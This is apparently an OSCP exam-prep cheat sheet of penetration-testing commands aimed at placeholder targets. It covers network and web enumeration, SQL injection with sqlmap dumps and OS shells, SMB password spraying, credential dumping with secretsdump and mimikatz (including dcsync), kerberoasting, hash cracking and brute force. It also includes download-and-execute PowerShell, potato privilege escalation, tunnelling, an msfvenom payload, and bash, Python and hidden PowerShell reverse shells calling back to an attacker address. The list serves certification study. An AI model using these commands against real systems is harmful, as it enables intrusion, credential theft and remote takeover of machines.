OSCP Ultimate Reference Guide

nmap -sC -sV -oA hedef_adi 10.10.10.1

nmap -p- --min-rate 10000 10.10.10.1

nmap -sU --top-ports 20 10.10.10.1

nmap --script vuln -p 80,443,445 10.10.10.1

rustscan -a 10.10.10.1 -- -sC -sV

rustscan -a 10.10.10.1 -- -p- -A

masscan -p1-10000 --rate=10000 10.10.10.0/24

masscan -p80,443,445,3389,22,21 --rate=5000 -oJ output.json 10.10.10.1

naabu -host 10.10.10.1

naabu -host 10.10.10.1 -p - -verify

subfinder -d hedef.com -all -o subs.txt

subfinder -dL domains.txt -recursive -o all_subs.txt

amass enum -passive -d hedef.com -o subs.txt

amass enum -active -brute -w wordlist.txt -d hedef.com

assetfinder hedef.com

dnsx -l domains.txt -a -resp -o resolved.txt

dnsx -l subs.txt -axfr -ns 10.10.10.1

theHarvester -d hedef.com -b google,bing,linkedin -l 500

whois hedef.com

whois IP_ADRESI | grep -i "orgname\|country"

dig AXFR @ns.hedef.com hedef.com

dig ANY hedef.com

fierce --domain hedef.com --subdomains wordlist.txt

httpx -l subs.txt -title -tech-detect -status-code -o live.txt

ffuf -u http://hedef.com/FUZZ -w /usr/share/wordlists/dirb/common.txt

ffuf -u http://hedef.com -H "Host: FUZZ.hedef.com" -w subdomains.txt

ffuf -u http://hedef.com/page?FUZZ=test -w params.txt

ffuf -u http://hedef.com/FUZZ -w wordlist.txt -recursion -recursion-depth 3

gobuster dir -u http://hedef.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

gobuster dns -d hedef.com -w subdomains.txt

gobuster vhost -u http://hedef.com -w vhosts.txt

feroxbuster -u http://hedef.com -w wordlist.txt -x php,html,txt

feroxbuster -u http://hedef.com -w wordlist.txt --extract-links

dirsearch -u http://hedef.com -e php,html,txt -x 404

sqlmap -u "http://hedef.com/page?id=1" --dbs

sqlmap -u "http://hedef.com/page?id=1" -D database --tables --dump

sqlmap -u "http://hedef.com" --os-shell

nikto -h http://hedef.com -ssl -Format html -o nikto_report.html

nikto -h http://hedef.com -Tuning 123456789

wpscan --url http://hedef.com --enumerate vp,vt,u

wpscan --url http://hedef.com --passwords rockyou.txt --usernames admin

# Proxy: 127.0.0.1:8080

# Request'leri Repeater'a gönder, parametreleri değiştir

# Positions belirle, Payload set et, Attack başlat

nuclei -u http://hedef.com -t ~/nuclei-templates/

nuclei -u http://hedef.com -severity critical,high

netexec smb 10.10.10.1 -u user -p pass --shares

netexec smb 10.10.10.1 -u '' -p '' --shares

netexec smb 10.10.10.1 -u users.txt -p 'Password123' --continue-on-success

netexec winrm 10.10.10.1 -u admin -p pass -x 'whoami'

enum4linux-ng -A 10.10.10.1

enum4linux-ng -U 10.10.10.1

enum4linux-ng -S 10.10.10.1

smbclient -L //10.10.10.1 -N

smbclient //10.10.10.1/share -U user

smbmap -H 10.10.10.1 -u guest -p ""

smbmap -H 10.10.10.1 -u user -p pass -r share

SharpHound.exe -c All --outputdirectory C:\Temp

bloodhound-python -u user -p pass -ns 10.10.10.1 -d domain.local -c All

sudo neo4j console

impacket-secretsdump domain/user:pass@10.10.10.1

impacket-GetUserSPNs domain/user:pass@10.10.10.1 -request

impacket-psexec domain/user:pass@10.10.10.1

impacket-GetNPUsers domain.local/ -dc-ip 10.10.10.1 -no-pass -usersfile users.txt

kerbrute userenum -d domain.local --dc 10.10.10.1 users.txt

kerbrute passwordspray -d domain.local users.txt "Password123"

.\Rubeus.exe kerberoast /outfile:hashes.txt

.\Rubeus.exe asreproast /outfile:hashes.txt

.\Rubeus.exe ptt /ticket:ticket.kirbi

privilege::debug

sekurlsa::logonpasswords

lsadump::sam

lsadump::dcsync /user:krbtgt

hashcat -m 0 -a 0 hash.txt rockyou.txt

hashcat -m 1000 hash.txt rockyou.txt

hashcat -m 5600 hash.txt rockyou.txt

hashcat -m 13100 hash.txt rockyou.txt

john --wordlist=rockyou.txt hash.txt

john --rules --wordlist=rockyou.txt hash.txt

hydra -l admin -P rockyou.txt ssh://10.10.10.1

hydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=error"

cewl http://hedef.com -m 6 -w custom.txt

wget https://github.com/carlospolop/PEASS-ng/releases/download/20241215/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64 -pf -i 1000

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
./linux-exploit-suggester.sh

.\winpeas.exe

iex (New-Object Net.WebClient).DownloadString('http://10.10.14.1/winpeas.ps1')

Import-Module .\PowerUp.ps1; Invoke-AllChecks

Install-ServiceBinary -ServiceName vuln_service

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *

SweetPotato.exe -p whoami

sudo ip tuntap add dev ligolo mode tun
sudo ip link set ligolo up
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:9999

./agent -connect 10.10.14.1:9999 -ignore-cert

chisel server -p 8000 --reverse

chisel client 10.10.14.1:8000 R:socks

# /etc/proxychains4.conf: socks5 127.0.0.1 1080

proxychains nmap -sT -Pn 10.0.1.0/24

ssh -L 8080:target:80 user@jumpbox

ssh -R 4444:localhost:4444 kali@10.10.14.1

bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

python3 -c 'import pty;pty.spawn("/bin/bash")'

stty raw -echo; fg
export TERM=xterm
stty rows 50 cols 150

!mona config -set workingfolder C:\logs

!mona findmsp -distance 3000

!mona bytearray -b "\x00\x0a\x0d"
!mona compare -f C:\logs\bytearray.bin -a ESP_address

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f python -v shellcode

aws configure

aws s3 ls

exiftool image.jpg

binwalk -e dosya.bin

git clone https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

pandoc report.md -o OSCP-OS-XXXXX-Exam-Report.pdf --from markdown+yaml_metadata_block+raw_html --template eisvogel --table-of-contents --number-sections